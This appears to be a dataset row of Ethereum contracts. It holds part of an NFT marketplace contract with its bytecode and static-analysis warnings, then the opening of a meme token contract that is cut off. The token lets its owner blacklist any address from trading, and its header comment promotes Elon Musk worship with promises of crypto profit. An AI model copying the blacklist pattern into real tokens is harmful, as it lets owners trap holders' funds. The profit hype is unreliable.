transferProxy.erc1155mintAndTransfer(IERC1155(order.nftAddress), order.seller, order.buyer, order.royaltyAddress, order.royaltyfee, order.supply, order.tokenURI, order.qty, "");
}
if(fee.platformFee > 0) {
transferProxy.erc20safeTransferFrom(IERC20(order.erc20Address), buyer, owner, fee.platformFee);
}
for(uint i = 0; i < fee.royaltyAddress.length; i++) {
if(fee.royaltyFee[i] > 0) {
transferProxy.erc20safeTransferFrom(IERC20(order.erc20Address), buyer, fee.royaltyAddress[i], fee.royaltyFee[i]);
}
}
transferProxy.erc20safeTransferFrom(IERC20(order.erc20Address), buyer, seller, fee.assetFee);
}
function mint(address nftAddress, BuyingAssetType nftType, string memory tokenURI, uint256 supply, address[] memory recipient, uint256[] memory royaltyFee ) external onlyMinter returns(bool) {
if(nftType == BuyingAssetType.ERC721) {
transferProxy.erc721mint(IERC721(nftAddress), msg.sender, tokenURI, recipient, royaltyFee);
}
else if(nftType == BuyingAssetType.ERC1155) {
transferProxy.erc1155mint(IERC1155(nftAddress), msg.sender, tokenURI, recipient, royaltyFee, supply);
}
return true;
}
function addMinters(address account) external onlyOwner returns(bool) {
require(account != address(0), "Minters: Given address is zero address");
require(!minters[account],"account already added in minters");
minters[account] = true;
emit MintersAdded(account);
return true;
}
function removeMinters(address account) external onlyOwner returns(bool) {
require(account != address(0), "Minters: Given address is zero address");
require(minters[account],"account already remived in minters");
minters[account] = false;
emit MintersRemoved(account);
return true;
}
function minter(address account) external view returns(bool) {
return minters[account];
}
function mintAndBuyAsset(Order calldata order, Sign calldata sign) external returns(bool){
require(minters[order.seller], "Minters: seller is not minter");
Fee memory fee = getFees(order);
require((fee.price >= order.unitPrice * order.qty), "Paid invalid amount");
verifySellerSign(order.seller, order.tokenId, order.unitPrice, order.erc20Address, order.nftAddress, sign);
address buyer = msg.sender;
tradeAsset(order, fee, buyer, order.seller);
emit BuyAsset(order.seller , order.tokenId, order.qty, msg.sender);
return true;
}
function mintAndExecuteBid(Order calldata order, Sign calldata sign) external returns(bool){
require(minters[msg.sender], "Minters: User is not minter");
Fee memory fee = getFees(order);
require((fee.price >= order.unitPrice * order.qty), "Paid invalid amount");
verifyBuyerSign(order.buyer, order.tokenId, order.amount, order.erc20Address, order.nftAddress, order.qty,sign);
address seller = msg.sender;
tradeAsset(order, fee, order.buyer, seller);
emit ExecuteBid(order.seller , order.tokenId, order.qty, msg.sender);
return true;
}
function buyAsset(Order calldata order, Sign calldata sign) external returns(Fee memory) {
Fee memory fee = getFees(order);
require((fee.price >= order.unitPrice * order.qty), "Paid invalid amount");
verifySellerSign(order.seller, order.tokenId, order.unitPrice, order.erc20Address, order.nftAddress, sign);
address buyer = msg.sender;
tradeAsset(order, fee, buyer, order.seller);
emit BuyAsset(order.seller, order.tokenId, order.qty, msg.sender);
return fee;
}
function executeBid(Order calldata order, Sign calldata sign) external returns(bool) {
Fee memory fee = getFees(order);
verifyBuyerSign(order.buyer, order.tokenId, order.amount, order.erc20Address, order.nftAddress, order.qty, sign);
address seller = msg.sender;
tradeAsset(order, fee, order.buyer, seller);
emit ExecuteBid(msg.sender , order.tokenId, order.qty, order.buyer);
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636e667db311610097578063a3667c7b11610066578063a3667c7b1461022b578063a96b446d1461023e578063e90aba0514610251578063f2fde38b1461026457600080fd5b80636e667db3146101c95780636ff0a903146101fa5780638da5cb5b1461020d5780639c66809d1461022057600080fd5b806331c89bb6116100d357806331c89bb6146101595780633dd08c381461016c578063456cdf991461019857806360085da6146101ab57600080fd5b806317ae08e1146100fa57806319df0bc21461012357806321d88c7514610146575b600080fd5b61010d610108366004611c8e565b610277565b60405161011a919061215c565b60405180910390f35b610136610131366004611adb565b6103c6565b604051901515815260200161011a565b610136610154366004611c8e565b6104d4565b610136610167366004611adb565b61061e565b61013661017a366004611adb565b6001600160a01b031660009081526002602052604090205460ff1690565b6101366101a6366004611c8e565b610732565b600054610100900460ff165b60405160ff909116815260200161011a565b6000546101e2906201000090046001600160a01b031681565b6040516001600160a01b03909116815260200161011a565b610136610208366004611afe565b610814565b6001546101e2906001600160a01b031681565b60005460ff166101b7565b610136610239366004611d4a565b6109c0565b61013661024c366004611d4a565b610a46565b61013661025f366004611c8e565b610ab5565b610136610272366004611adb565b610bd5565b6102a96040518060a0016040528060008152602001600081526020016060815260200160608152602001600081525090565b60006102bc6102b785612367565b610cc4565b90506102d161018085013560a0860135612331565b816080015110156102fd5760405162461bcd60e51b81526004016102f4906120b4565b60405180910390fd5b61034b61030d6020860186611adb565b60e086013560a08701356103276060890160408a01611adb565b61033760808a0160608b01611adb565b610346368a90038a018a611cea565b6110ea565b3361036485838361035f6020840184611adb565b6111af565b3360e08601356103776020880188611adb565b6001600160a01b03167fb10197cef009fd301a90b892d25451c22c3701eb18ee2df1250d31e514fff3948861018001356040516103b691815260200190565b60405180910390a4509392505050565b6001546000906001600160a01b031633146103f35760405162461bcd60e51b81526004016102f4906120e1565b6001600160a01b0382166104195760405162461bcd60e51b81526004016102f490612116565b6001600160a01b03821660009081526002602052604090205460ff16156104825760405162461bcd60e51b815260206004820181905260248201527f6163636f756e7420616c726561647920616464656420696e206d696e7465727360448201526064016102f4565b6001600160a01b038216600081815260026020526040808220805460ff19166001179055517f7fd95605a89155b6a3301c1d0c05abb277d33b0c27f069b30e0abc4cada275659190a25060015b919050565b60006002816104e66020860186611adb565b6001600160a01b0316815260208101919091526040016000205460ff1661054f5760405162461bcd60e51b815260206004820152601d60248201527f4d696e746572733a2073656c6c6572206973206e6f74206d696e74657200000060448201526064016102f4565b600061055d6102b785612367565b905061057261018085013560a0860135612331565b816080015110156105955760405162461bcd60e51b81526004016102f4906120b4565b6105a561030d6020860186611adb565b336105b985838361035f6020840184611adb565b3360e08601356105cc6020880188611adb565b6001600160a01b03167fb10197cef009fd301a90b892d25451c22c3701eb18ee2df1250d31e514fff39488610180013560405161060b91815260200190565b60405180910390a4506001949350505050565b6001546000906001600160a01b0316331461064b5760405162461bcd60e51b81526004016102f4906120e1565b6001600160a01b0382166106715760405162461bcd60e51b81526004016102f490612116565b6001600160a01b03821660009081526002602052604090205460ff166106e45760405162461bcd60e51b815260206004820152602260248201527f6163636f756e7420616c72656164792072656d6976656420696e206d696e7465604482015261727360f01b60648201526084016102f4565b6001600160a01b038216600081815260026020526040808220805460ff19169055517f893b30e27be2b021c213b124f09902c2b07f69f0641da32d4e63ac28cca098c99190a2506001919050565b6000806107416102b785612367565b905061079a6107566040860160208701611adb565b60e086013560c08701356107706060890160408a01611adb565b61078060808a0160608b01611adb565b6101808a0135610795368b90038b018b611cea565b611799565b336107b685836107b06040830160208401611adb565b846111af565b6107c66040860160208701611adb565b6001600160a01b03168560e00135336001600160a01b03167fec34853c156da04e4792f1c735112ae54e5ed52bac58db5014b26746f306a36288610180013560405161060b91815260200190565b3360009081526002602052604081205460ff1661087d5760405162461bcd60e51b815260206004820152602160248201527f4d696e746572203a2063616c6c6572206973206e6f7420746865206d696e74656044820152603960f91b60648201526084016102f4565b600186600381111561089f57634e487b7160e01b600052602160045260246000fd5b141561091957600054604051633191d37560e11b8152620100009091046001600160a01b031690636323a6ea906108e2908a9033908a9089908990600401612056565b600060405180830381600087803b1580156108fc57600080fd5b505af1158015610910573d6000803e3d6000fd5b505050506109b3565b600086600381111561093b57634e487b7160e01b600052602160045260246000fd5b14156109b35760005460405163090621f360e01b8152620100009091046001600160a01b03169063090621f390610980908a9033908a90899089908c90600401611f4a565b600060405180830381600087803b15801561099a57600080fd5b505af11580156109ae573d6000803e3d6000fd5b505050505b5060019695505050505050565b6001546000906001600160a01b031633146109ed5760405162461bcd60e51b81526004016102f4906120e1565b6000805461ff00191661010060ff8581168202929092179283905560405192041681527f04e959c7352d9eda8a6d989e4fee25ff0bf44c87386b7259d8500343c4e9992e906020015b60405180910390a1506001919050565b6001546000906001600160a01b03163314610a735760405162461bcd60e51b81526004016102f4906120e1565b6000805460ff191660ff84169081179091556040519081527f1715ed10763088cbfba08a6ecfb6e5894eac73040cb1899d10d3f96ced2bd0ef90602001610a36565b3360009081526002602052604081205460ff16610b145760405162461bcd60e51b815260206004820152601b60248201527f4d696e746572733a2055736572206973206e6f74206d696e746572000000000060448201526064016102f4565b6000610b226102b785612367565b9050610b3761018085013560a0860135612331565b81608001511015610b5a5760405162461bcd60e51b81526004016102f4906120b4565b610b6d6107566040860160208701611adb565b33610b8385836107b06040830160208401611adb565b3360e0860135610b966020880188611adb565b6001600160a01b03167fec34853c156da04e4792f1c735112ae54e5ed52bac58db5014b26746f306a36288610180013560405161060b91815260200190565b6001546000906001600160a01b03163314610c025760405162461bcd60e51b81526004016102f4906120e1565b6001600160a01b038216610c675760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102f4565b6001546040516001600160a01b038085169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a350600180546001600160a01b0383166001600160a01b0319909116178155919050565b610cf66040518060a0016040528060008152602001600081526020016060815260200160608152602001600081525090565b600080548190606090819083908190610d149060ff166103e86122d3565b61ffff168860c001516103e8610d2a9190612331565b610d349190612311565b90506000818960c00151610d489190612350565b60008054919250906103e890610d6690610100900460ff1685612331565b610d709190612311565b9050610d7c81836122f9565b975060018a608001516003811115610da457634e487b7160e01b600052602160045260246000fd5b1415610e3d5760608a015160e08b015160405163c57dc23560e01b81526001600160a01b039092169163c57dc23591610de39160040190815260200190565b60006040518083038186803b158015610dfb57600080fd5b505afa158015610e0f573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610e379190810190611bae565b90965094505b60008a608001516003811115610e6357634e487b7160e01b600052602160045260246000fd5b1415610efc5760608a015160e08b015160405163c57dc23560e01b81526001600160a01b039092169163c57dc23591610ea29160040190815260200190565b60006040518083038186803b158015610eba57600080fd5b505afa158015610ece573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610ef69190810190611bae565b90965094505b60038a608001516003811115610f2257634e487b7160e01b600052602160045260246000fd5b1415610f3957896101400151955089610160015194505b60028a608001516003811115610f5f57634e487b7160e01b600052602160045260246000fd5b1415610f7657896101400151955089610160015194505b6000865167ffffffffffffffff811115610fa057634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610fc9578160200160208202803683370190505b50905060005b87518110156110a1576103e8878281518110610ffb57634e487b7160e01b600052603260045260246000fd5b60200260200101518661100e9190612331565b6110189190612311565b611022908a6122f9565b98506103e887828151811061104757634e487b7160e01b600052603260045260246000fd5b60200260200101518661105a9190612331565b6110649190612311565b82828151811061108457634e487b7160e01b600052603260045260246000fd5b6020908102919091010152806110998161248b565b915050610fcf565b50816110ad8986612350565b6110b79190612350565b6040805160a0810182529a8b5260208b019190915289019690965250506060860193909352505060808301525092915050565b6040516bffffffffffffffffffffffff19606084811b821660208401526034830188905285901b16605482015260688101859052600090608801604051602081830303815290604052805190602001209050611146818361185c565b6001600160a01b0316876001600160a01b0316146111a65760405162461bcd60e51b815260206004820152601f60248201527f73656c6c6572207369676e20766572696669636174696f6e206661696c65640060448201526064016102f4565b50505050505050565b60016111c160a0860160808701611c74565b60038111156111e057634e487b7160e01b600052602160045260246000fd5b1415611266576000546201000090046001600160a01b031663f709b90661120d6080870160608801611adb565b83858860e001356040518563ffffffff1660e01b81526004016112339493929190611fb0565b600060405180830381600087803b15801561124d57600080fd5b505af1158015611261573d6000803e3d6000fd5b505050505b600061127860a0860160808701611c74565b600381111561129757634e487b7160e01b600052602160045260246000fd5b1415611350576000546201000090046001600160a01b0316639c1c2ee96112c46080870160608801611adb565b60405160e083811b6001600160e01b03191682526001600160a01b03928316600483015285831660248301529186166044820152908701356064820152610180870135608482015260c060a4820152600060c482015260e401600060405180830381600087803b15801561133757600080fd5b505af115801561134b573d6000803e3d6000fd5b505050505b600361136260a0860160808701611c74565b600381111561138157634e487b7160e01b600052602160045260246000fd5b141561144c576000546201000090046001600160a01b031663b12c32f16113ae6080870160608801611adb565b6113bb6020880188611adb565b6113cb6040890160208a01611adb565b6113d96101408a018a6121c0565b6113e76101608c018c6121c0565b6113f56101208e018e61220f565b6040518a63ffffffff1660e01b815260040161141999989796959493929190611fda565b600060405180830381600087803b15801561143357600080fd5b505af1158015611447573d6000803e3d6000fd5b505050505b600261145e60a0860160808701611c74565b600381111561147d57634e487b7160e01b600052602160045260246000fd5b1415611556576000546201000090046001600160a01b031663dbe535b96114aa6080870160608801611adb565b6114b76020880188611adb565b6114c76040890160208a01611adb565b6114d56101408a018a6121c0565b6114e36101608c018c6121c0565b6101008d01356114f76101208f018f61220f565b8f61018001356040518c63ffffffff1660e01b81526004016115239b9a99989796959493929190611ebb565b600060405180830381600087803b15801561153d57600080fd5b505af1158015611551573d6000803e3d6000fd5b505050505b8251156115eb576000546201000090046001600160a01b031663776062c36115846060870160408801611adb565b60015486516040516001600160e01b031960e086901b1681526115b8939288926001600160a01b0390911691600401611fb0565b600060405180830381600087803b1580156115d257600080fd5b505af11580156115e6573d6000803e3d6000fd5b505050505b60005b8360400151518110156117135760008460600151828151811061162157634e487b7160e01b600052603260045260246000fd5b60200260200101511115611701576000546201000090046001600160a01b031663776062c36116566060880160408901611adb565b858760400151858151811061167b57634e487b7160e01b600052603260045260246000fd5b6020026020010151886060015186815181106116a757634e487b7160e01b600052603260045260246000fd5b60200260200101516040518563ffffffff1660e01b81526004016116ce9493929190611fb0565b600060405180830381600087803b1580156116e857600080fd5b505af11580156116fc573d6000803e3d6000fd5b505050505b8061170b8161248b565b9150506115ee565b506000546201000090046001600160a01b031663776062c361173b6060870160408801611adb565b848487602001516040518563ffffffff1660e01b81526004016117619493929190611fb0565b600060405180830381600087803b15801561177b57600080fd5b505af115801561178f573d6000803e3d6000fd5b5050505050505050565b6040516bffffffffffffffffffffffff19606085811b821660208401526034830189905286901b166054820152606881018690526088810183905260009060a8016040516020818303038152906040528051906020012090506117fc818361185c565b6001600160a01b0316886001600160a01b03161461178f5760405162461bcd60e51b815260206004820152601e60248201527f6275796572207369676e20766572696669636174696f6e206661696c6564000060448201526064016102f4565b6040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c8101839052600090600190605c0160408051601f19818403018152828252805160209182012086518783015188850151600087529386018086529290925260ff16928401929092526060830191909152608082015260a0016020604051602081039080840390855afa158015611901573d6000803e3d6000fd5b5050604051601f190151949350505050565b80356104cf816124d2565b600082601f83011261192e578081fd5b8135602061194361193e836122af565b61227e565b80838252828201915082860187848660051b8901011115611962578586fd5b855b85811015611989578135611977816124d2565b84529284019290840190600101611964565b5090979650505050505050565b600082601f8301126119a6578081fd5b813560206119b661193e836122af565b80838252828201915082860187848660051b89010111156119d5578586fd5b855b85811015611989578135845292840192908401906001016119d7565b600082601f830112611a03578081fd5b81516020611a1361193e836122af565b80838252828201915082860187848660051b8901011115611a32578586fd5b855b8581101561198957815184529284019290840190600101611a34565b8035600481106104cf57600080fd5b600082601f830112611a6f578081fd5b813567ffffffffffffffff811115611a8957611a896124bc565b611a9c601f8201601f191660200161227e565b818152846020838601011115611ab0578283fd5b816020850160208301379081016020019190915292915050565b803560ff811681146104cf57600080fd5b600060208284031215611aec578081fd5b8135611af7816124d2565b9392505050565b60008060008060008060c08789031215611b16578182fd5b8635611b21816124d2565b9550611b2f60208801611a50565b9450604087013567ffffffffffffffff80821115611b4b578384fd5b611b578a838b01611a5f565b9550606089013594506080890135915080821115611b73578384fd5b611b7f8a838b0161191e565b935060a0890135915080821115611b94578283fd5b50611ba189828a01611996565b9150509295509295509295565b60008060408385031215611bc0578182fd5b825167ffffffffffffffff80821115611bd7578384fd5b818501915085601f830112611bea578384fd5b81516020611bfa61193e836122af565b8083825282820191508286018a848660051b8901011115611c19578889fd5b8896505b84871015611c44578051611c30816124d2565b835260019690960195918301918301611c1d565b5091880151919650909350505080821115611c5d578283fd5b50611c6a858286016119f3565b9150509250929050565b600060208284031215611c85578081fd5b611af782611a50565b6000808284036080811215611ca1578283fd5b833567ffffffffffffffff811115611cb7578384fd5b84016101a08187031215611cc9578384fd5b92506060601f1982011215611cdc578182fd5b506020830190509250929050565b600060608284031215611cfb578081fd5b6040516060810181811067ffffffffffffffff82111715611d1e57611d1e6124bc565b604052611d2a83611aca565b815260208301356020820152604083013560408201528091505092915050565b600060208284031215611d5b578081fd5b611af782611aca565b81835260006020808501945082825b85811015611da1578135611d86816124d2565b6001600160a01b031687529582019590820190600101611d73565b509495945050505050565b6000815180845260208085019450808401835b83811015611da15781516001600160a01b031687529582019590820190600101611dbf565b81835260006001600160fb1b03831115611dfc578081fd5b8260051b80836020870137939093016020019283525090919050565b6000815180845260208085019450808401835b83811015611da157815187529582019590820190600101611e2b565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b60008151808452815b81811015611e9557602081850181015186830182015201611e79565b81811115611ea65782602083870101525b50601f01601f19169290920160200192915050565b6001600160a01b038c811682528b811660208301528a16604082015261012060608201819052600090611ef18382018b8d611d64565b90508281036080840152611f0681898b611de4565b90508660a084015282810360c0840152611f21818688611e47565b60e0840194909452508183036101009092019190915281526020019a9950505050505050505050565b6001600160a01b0387811682528616602082015260c060408201819052600090611f7690830187611e70565b8281036060840152611f888187611dac565b90508281036080840152611f9c8186611e18565b9150508260a0830152979650505050505050565b6001600160a01b039485168152928416602084015292166040820152606081019190915260800190565b6001600160a01b038a8116825289811660208301528816604082015260e06060820181905260009061200f908301888a611d64565b8281036080840152612022818789611de4565b905082810360a0840152612037818587611e47565b83810360c0909401939093525081526020019998505050505050505050565b6001600160a01b0386811682528516602082015260a06040820181905260009061208290830186611e70565b82810360608401526120948186611dac565b905082810360808401526120a88185611e18565b98975050505050505050565b60208082526013908201527214185a59081a5b9d985b1a5908185b5bdd5b9d606a1b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526026908201527f4d696e746572733a20476976656e2061646472657373206973207a65726f206160408201526564647265737360d01b606082015260800190565b6020815281516020820152602082015160408201526000604083015160a0606084015261218c60c0840182611dac565b90506060840151601f198483030160808501526121a98282611e18565b915050608084015160a08401528091505092915050565b6000808335601e198436030181126121d6578283fd5b83018035915067ffffffffffffffff8211156121f0578283fd5b6020019150600581901b360382131561220857600080fd5b9250929050565b6000808335601e19843603018112612225578283fd5b83018035915067ffffffffffffffff82111561223f578283fd5b60200191503681900382131561220857600080fd5b6040516101a0810167ffffffffffffffff81118282101715612278576122786124bc565b60405290565b604051601f8201601f1916810167ffffffffffffffff811182821017156122a7576122a76124bc565b604052919050565b600067ffffffffffffffff8211156122c9576122c96124bc565b5060051b60200190565b600061ffff8083168185168083038211156122f0576122f06124a6565b01949350505050565b6000821982111561230c5761230c6124a6565b500190565b60008261232c57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561234b5761234b6124a6565b500290565b600082821015612362576123626124a6565b500390565b60006101a08236031215612379578081fd5b612381612254565b61238a83611913565b815261239860208401611913565b60208201526123a960408401611913565b60408201526123ba60608401611913565b60608201526123cb60808401611a50565b608082015260a083013560a082015260c083013560c082015260e083013560e08201526101008084013581830152506101208084013567ffffffffffffffff80821115612416578485fd5b61242236838801611a5f565b8385015261014092508286013591508082111561243d578485fd5b6124493683880161191e565b83850152610160925082860135915080821115612464578485fd5b5061247136828701611996565b918301919091525061018092830135928101929092525090565b600060001982141561249f5761249f6124a6565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146124e757600080fd5b5056fea2646970667358221220ab040d2f8c96194359c6d5a5d6dcd18559ad98470ba370bdc38753728c327a4f64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 1,990 |
0x1962ba43e70ec6f65301374d6a2e7676918156ed | /**
*Submitted for verification at Etherscan.io on 2022-04-06
*/
// SPDX-License-Identifier: UNLICENSED
/*
█████████ █████ █████ █████ ███████████ ███████████ ██████████ ██████ ██████ ███████████ █████ ██████████
███░░░░░███░░███ ░░███ ░░███ ░█░░░███░░░█ ░█░░░███░░░█░░███░░░░░█░░██████ ██████ ░░███░░░░░███░░███ ░░███░░░░░█
███ ░░░ ░███ ░███ ░███ ░ ░███ ░ ░ ░███ ░ ░███ █ ░ ░███░█████░███ ░███ ░███ ░███ ░███ █ ░
░███ ░███ ░███ ░███ ░███ ░███ ░██████ ░███░░███ ░███ ░██████████ ░███ ░██████
░███ ░███ ░███ ░███ ░███ ░███ ░███░░█ ░███ ░░░ ░███ ░███░░░░░░ ░███ ░███░░█
░░███ ███ ░███ ░███ ░███ █ ░███ ░███ ░███ ░ █ ░███ ░███ ░███ ░███ █ ░███ ░ █
░░█████████ ░░████████ ███████████ █████ █████ ██████████ █████ █████ █████ ███████████ ██████████
░░░░░░░░░ ░░░░░░░░ ░░░░░░░░░░░ ░░░░░ ░░░░░ ░░░░░░░░░░ ░░░░░ ░░░░░ ░░░░░ ░░░░░░░░░░░ ░░░░░░░░░░
The difference between gods and mortals is basically equal to the difference between the great Elon and man.
While the great gods of the pantheon were worshiped by priests at rituals in cultic centers, the great god of the Tesla is worshiped by us on Twitter and cryptoworld. Ancient mortals used to have no direct contact with their deities while contemporary people can easily receive oracles from the great Elon. Ancient mortals worshiped personal gods, who were thought to be deities who could intercede on their behalf to ensure health and protection for their families; while contemporary people worship Elon believing that he could protect us from scammers and earn profit in the crypto world.
All crypto buyers should devoutly praise the words of Elon. May the great Elon assuage the spirit of his followers and crypto holders. May it soothe their hearts, bring wealth to his people.
https://t.me/templeofcult
https://t.me/templeofcult
https://t.me/templeofcult
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CULTEMPLE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "TEMPLE OF CULT";
string private constant _symbol = "CULTEMPLE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxHoldAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x92edEfa5CEFAAC269f5A88655F17e68A694a7E74);
_buyTax = 10;
_sellTax = 10;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount <= _maxTxAmount);
require(amount.add(walletBalance) <= _maxHoldAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint burnAmount = contractTokenBalance/4;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 100000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setMaxHoldAmount(uint256 maxHoldAmount) external onlyOwner() {
if (maxHoldAmount > 200000000 * 10**9) {
_maxHoldAmount = maxHoldAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 20000000 * 10**9;
_maxHoldAmount = 20000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
